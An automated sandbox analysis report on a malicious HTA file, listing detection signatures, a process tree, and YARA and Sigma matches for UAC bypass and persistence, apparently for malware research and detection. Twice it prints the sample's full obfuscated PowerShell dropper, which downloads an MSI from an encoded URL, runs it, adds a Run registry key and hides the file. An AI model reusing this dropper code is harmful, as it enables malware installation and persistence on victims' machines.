Edit tour

Windows Analysis Report
es.hta

Overview

General Information

Sample name:	es.hta
Analysis ID:	1561279
MD5:	10184fe59d8f1d9d1f50d9e373f1c007
SHA1:	94208f885255c808d6ff609956ac6b80cb789573
SHA256:	8bf7d79425114140c858c24114586ac08a9688e4f23b32e95533c97c89b99643
Tags:	htauser-abuse_ch
Infos:

Detection

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected UAC Bypass using CMSTP

AI detected suspicious sample

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Machine Learning detection for dropped file

Maps a DLL or memory area into another process

Sigma detected: Potential PowerShell Command Line Obfuscation

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Writes to foreign memory regions

Checks for available system drives (often done to infect USB drives)

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a start menu entry (Start Menu\Programs\Startup)

Creates files inside the system directory

Deletes files inside the Windows folder

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops files with a non-matching file extension (content does not match file extension)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Dosfuscation Activity

Sigma detected: Startup Folder File Write

Stores files to the Windows start menu directory

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara signature match

Classification

Process Tree

System is w10x64

mshta.exe (PID: 6708 cmdline: mshta.exe "C:\Users\user\Desktop\es.hta" MD5: 06B02D5C097C7DB1F109749C45F3F505)

powershell.exe (PID: 2676 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function bShFjqP($sCjSPqnz){$pPsWrYNz=4198;$eqBSpUkG=$Null;foreach($kPMiigIX in $sCjSPqnz){$eqBSpUkG+=[char]($kPMiigIX-$pPsWrYNz)};return $eqBSpUkG};function paTeG(){$HDgYp = $env:APPDATA + '\';$YScpLG = CBgQtta (bShFjqP @(4302,4314,4314,4310,4313,4256,4245,4245,4310,4315,4296,4243,4249,4253,4298,4249,4255,4254,4252,4252,4251,4254,4295,4300,4250,4251,4247,4297,4255,4298,4251,4248,4296,4296,4255,4300,4250,4254,4248,4296,4249,4299,4248,4298,4244,4312,4248,4244,4298,4299,4316,4245,4277,4276,4270,4279,4276,4270,4268,4282,4244,4307,4313,4303));$iEiUK = $HDgYp + 'ONHQNHFT.msi';oGEDCAcL $iEiUK $YScpLG;PNjTla $iEiUK;$VQwqYETV = 'iJOtPBQ';jSNvCEiiX $iEiUK $VQwqYETV;FvPeqUFa $iEiUK;;;;}paTeG; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 2688 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 3192 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi" MD5: 9D09DC1EDA745A5F87553048E57620CF)

msiexec.exe (PID: 6620 cmdline: C:\Windows\system32\msiexec.exe /V MD5: E5DA170027542E25EDE42FC54C929077)

IDRBackup.exe (PID: 480 cmdline: "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe" MD5: 371C165E3E3C1A000051B78D7B0E7E79)

IDRBackup.exe (PID: 3104 cmdline: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe MD5: 371C165E3E3C1A000051B78D7B0E7E79)

cmd.exe (PID: 6156 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 6316 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

comvalidate_ljv3.exe (PID: 3736 cmdline: C:\Users\user\AppData\Local\Temp\comvalidate_ljv3.exe MD5: 967F4470627F823F4D7981E511C9824F)

IDRBackup.exe (PID: 1852 cmdline: "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe" MD5: 371C165E3E3C1A000051B78D7B0E7E79)

IDRBackup.exe (PID: 6176 cmdline: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe MD5: 371C165E3E3C1A000051B78D7B0E7E79)

cmd.exe (PID: 6236 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 3796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IDRBackup.exe (PID: 2472 cmdline: "C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe" MD5: 371C165E3E3C1A000051B78D7B0E7E79)

IDRBackup.exe (PID: 5756 cmdline: C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe MD5: 371C165E3E3C1A000051B78D7B0E7E79)

cmd.exe (PID: 5948 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 1284 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

msiexec.exe (PID: 6792 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi" MD5: E5DA170027542E25EDE42FC54C929077)

msiexec.exe (PID: 5684 cmdline: "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\AppData\Roaming\ONHQNHFT.msi" MD5: E5DA170027542E25EDE42FC54C929077)

svchost.exe (PID: 5184 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

IDRBackup.exe (PID: 4924 cmdline: "C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe" MD5: 371C165E3E3C1A000051B78D7B0E7E79)

cmd.exe (PID: 4928 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5720 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IDRBackup.exe (PID: 3524 cmdline: "C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe" MD5: 371C165E3E3C1A000051B78D7B0E7E79)

cmd.exe (PID: 4828 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4548 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

IDRBackup.exe (PID: 5084 cmdline: "C:\Users\user\AppData\Roaming\toolsync_RO\IDRBackup.exe" MD5: 371C165E3E3C1A000051B78D7B0E7E79)

cmd.exe (PID: 4624 cmdline: C:\Windows\SysWOW64\cmd.exe MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 4812 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\toolsync_RO\rtl120.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
C:\Users\user\AppData\Local\Temp\Aplanogamete\rtl120.bpl	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000011.00000002.2556516016.0000000002CB0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000001E.00000002.2901177078.00000000054CF000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000021.00000002.2900703205.0000000002692000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
0000000A.00000002.2318268652.0000000050001000.00000020.00000001.01000000.00000009.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000024.00000002.2900891112.00000000049D5000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000016.00000002.2678664384.00000000056A1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000016.00000002.2671043723.0000000003730000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000006.00000002.2160089196.00000000037EC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000022.00000002.2900887958.00000000054E6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000010.00000002.2824061087.000000000502E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
00000011.00000002.2565590561.0000000004C25000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: powershell.exe PID: 2676	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x1064e:$b1: ::WriteAllBytes( 0x31ff8:$b1: ::WriteAllBytes( 0x3277d:$b1: ::WriteAllBytes( 0x8af0f:$b1: ::WriteAllBytes( 0xa894c:$b1: ::WriteAllBytes( 0xa90d1:$b1: ::WriteAllBytes( 0x16b5f0:$b1: ::WriteAllBytes( 0x16bd75:$b1: ::WriteAllBytes( 0x16d1f9:$b1: ::WriteAllBytes( 0x16fadf:$b1: ::WriteAllBytes( 0x170a11:$b1: ::WriteAllBytes( 0x1711d5:$b1: ::WriteAllBytes( 0x1d539c:$b1: ::WriteAllBytes( 0x1d66d3:$b1: ::WriteAllBytes( 0x2335b0:$b1: ::WriteAllBytes( 0x23b6c5:$b1: ::WriteAllBytes( 0x249ec6:$b1: ::WriteAllBytes( 0x24a8f9:$b1: ::WriteAllBytes( 0x24b290:$b1: ::WriteAllBytes( 0x24ba9d:$b1: ::WriteAllBytes( 0xf9850:$s1: -join
Process Memory Space: cmd.exe PID: 6156	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: cmd.exe PID: 6236	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: cmd.exe PID: 5948	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: cmd.exe PID: 4928	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Process Memory Space: comvalidate_ljv3.exe PID: 3736	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
17.2.cmd.exe.2cb2800.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
17.2.cmd.exe.2cb2800.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x12168:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x12130:$s2: Elevation:Administrator!new:
22.2.cmd.exe.37307f8.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.cmd.exe.37307f8.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x14170:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x14138:$s2: Elevation:Administrator!new:
10.2.IDRBackup.exe.50000000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
17.2.cmd.exe.2cb07f8.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
17.2.cmd.exe.2cb07f8.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x14170:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x14138:$s2: Elevation:Administrator!new:
22.2.cmd.exe.3732800.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.cmd.exe.3732800.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x12168:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x12130:$s2: Elevation:Administrator!new:
22.2.cmd.exe.37307f8.0.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.cmd.exe.37307f8.0.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x13570:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x13538:$s2: Elevation:Administrator!new:
16.2.cmd.exe.507a6cd.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.cmd.exe.507a6cd.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25e675:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25e700:$s1: CoGetObject 0x25e659:$s2: Elevation:Administrator!new:
17.2.cmd.exe.4c70acd.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
17.2.cmd.exe.4c70acd.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25f275:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25f300:$s1: CoGetObject 0x25f259:$s2: Elevation:Administrator!new:
36.2.cmd.exe.49dba00.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
36.2.cmd.exe.49dba00.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2a4342:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2a43cd:$s1: CoGetObject 0x2a4326:$s2: Elevation:Administrator!new:
17.2.cmd.exe.2cb07f8.1.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
17.2.cmd.exe.2cb07f8.1.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x13570:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x13538:$s2: Elevation:Administrator!new:
36.2.cmd.exe.4a20acd.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
36.2.cmd.exe.4a20acd.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25f275:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25f300:$s1: CoGetObject 0x25f259:$s2: Elevation:Administrator!new:
16.2.cmd.exe.5079acd.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.cmd.exe.5079acd.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25f275:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25f300:$s1: CoGetObject 0x25f259:$s2: Elevation:Administrator!new:
34.2.cmd.exe.55326cd.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.2.cmd.exe.55326cd.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25e675:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25e700:$s1: CoGetObject 0x25e659:$s2: Elevation:Administrator!new:
17.2.cmd.exe.4c716cd.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
17.2.cmd.exe.4c716cd.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25e675:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25e700:$s1: CoGetObject 0x25e659:$s2: Elevation:Administrator!new:
30.2.cmd.exe.551b6cd.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
30.2.cmd.exe.551b6cd.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25e675:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25e700:$s1: CoGetObject 0x25e659:$s2: Elevation:Administrator!new:
22.2.cmd.exe.56ecacd.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.cmd.exe.56ecacd.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25f275:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25f300:$s1: CoGetObject 0x25f259:$s2: Elevation:Administrator!new:
34.2.cmd.exe.54eca00.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.2.cmd.exe.54eca00.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2a4342:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2a43cd:$s1: CoGetObject 0x2a4326:$s2: Elevation:Administrator!new:
22.2.cmd.exe.56ed6cd.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.cmd.exe.56ed6cd.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25e675:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25e700:$s1: CoGetObject 0x25e659:$s2: Elevation:Administrator!new:
17.2.cmd.exe.4c2ba00.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
17.2.cmd.exe.4c2ba00.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2a4342:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2a43cd:$s1: CoGetObject 0x2a4326:$s2: Elevation:Administrator!new:
30.2.cmd.exe.551aacd.4.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
30.2.cmd.exe.551aacd.4.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25f275:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25f300:$s1: CoGetObject 0x25f259:$s2: Elevation:Administrator!new:
30.2.cmd.exe.54d5a00.2.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
30.2.cmd.exe.54d5a00.2.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2a4342:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2a43cd:$s1: CoGetObject 0x2a4326:$s2: Elevation:Administrator!new:
16.2.cmd.exe.5034a00.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
16.2.cmd.exe.5034a00.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2a4342:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2a43cd:$s1: CoGetObject 0x2a4326:$s2: Elevation:Administrator!new:
33.2.comvalidate_ljv3.exe.26ddaed.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.comvalidate_ljv3.exe.26ddaed.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25f275:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25f300:$s1: CoGetObject 0x25f259:$s2: Elevation:Administrator!new:
33.2.comvalidate_ljv3.exe.26de6ed.3.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.comvalidate_ljv3.exe.26de6ed.3.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25e675:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25e700:$s1: CoGetObject 0x25e659:$s2: Elevation:Administrator!new:
36.2.cmd.exe.4a216cd.1.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
36.2.cmd.exe.4a216cd.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25e675:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25e700:$s1: CoGetObject 0x25e659:$s2: Elevation:Administrator!new:
22.2.cmd.exe.56a7a00.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
22.2.cmd.exe.56a7a00.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2a4342:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2a43cd:$s1: CoGetObject 0x2a4326:$s2: Elevation:Administrator!new:
34.2.cmd.exe.5531acd.5.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
34.2.cmd.exe.5531acd.5.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x25f275:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x25f300:$s1: CoGetObject 0x25f259:$s2: Elevation:Administrator!new:
33.2.comvalidate_ljv3.exe.2698a20.0.raw.unpack	JoeSecurity_UACBypassusingCMSTP	Yara detected UAC Bypass using CMSTP	Joe Security
33.2.comvalidate_ljv3.exe.2698a20.0.raw.unpack	INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM	Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)	ditekSHen	0x2a4342:$guid1: {3E5FC7F9-9A51-4367-9063-A120244FBEC7} 0x2a43cd:$s1: CoGetObject 0x2a4326:$s2: Elevation:Administrator!new:
Click to see the 50 entries

Sigma Signatures

System Summary

Sigma detected: Potential PowerShell Command Line Obfuscation

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton (fp): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function oGEDCAcL($FlnMpBxK, $AgMxaC){[IO.File]::WriteAllBytes($FlnMpBxK, $AgMxaC)};function PNjTla($FlnMpBxK){if($FlnMpBxK.EndsWith((bShFjqP @(4244,4298,4306,4306))) -eq $True){Start-Process (bShFjqP @(4312,4315,4308,4298,4306,4306,4249,4248,4244,4299,4318,4299)) $FlnMpBxK}else{Start-Process $FlnMpBxK}};function jSNvCEiiX($FlnMpBxK, $VQwqYETV){[Microsoft.Win32.Registry]::SetValue((bShFjqP @(4270,4273,4267,4287,4293,4265,4283,4280,4280,4267,4276,4282,4293,4283,4281,4267,4280,4290,4281,4309,4300,4314,4317,4295,4312,4299,4290,4275,4303,4297,4312,4309,4313,4309,4300,4314,4290,4285,4303,4308,4298,4309,4317,4313,4290,4265,4315,4312,4312,4299,4308,4314,4284,4299,4312,4313,4303,4309,4308,4290,4280,4315,4308)), $VQwqYETV, $FlnMpBxK)};function FvPeqUFa($FlnMpBxK){$icpWe=(bShFjqP @(4270,4303,4298,4298,4299,4308));$YwLPNbBH=(Get-ChildItem $FlnMpBxK -Force);$YwLPNbBH.Attributes=$YwLPNbBH.Attributes -bor ([IO.FileAttributes]$icpWe).value__};function CBgQtta($kpSwxupu){$MSwCV = New-Object (bShFjqP @(4276,4299,4314,4244,4285,4299,4296,4265,4306,4303,4299,4308,4314));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$AgMxaC = $MSwCV.DownloadData($kpSwxupu);return $AgMxaC};function 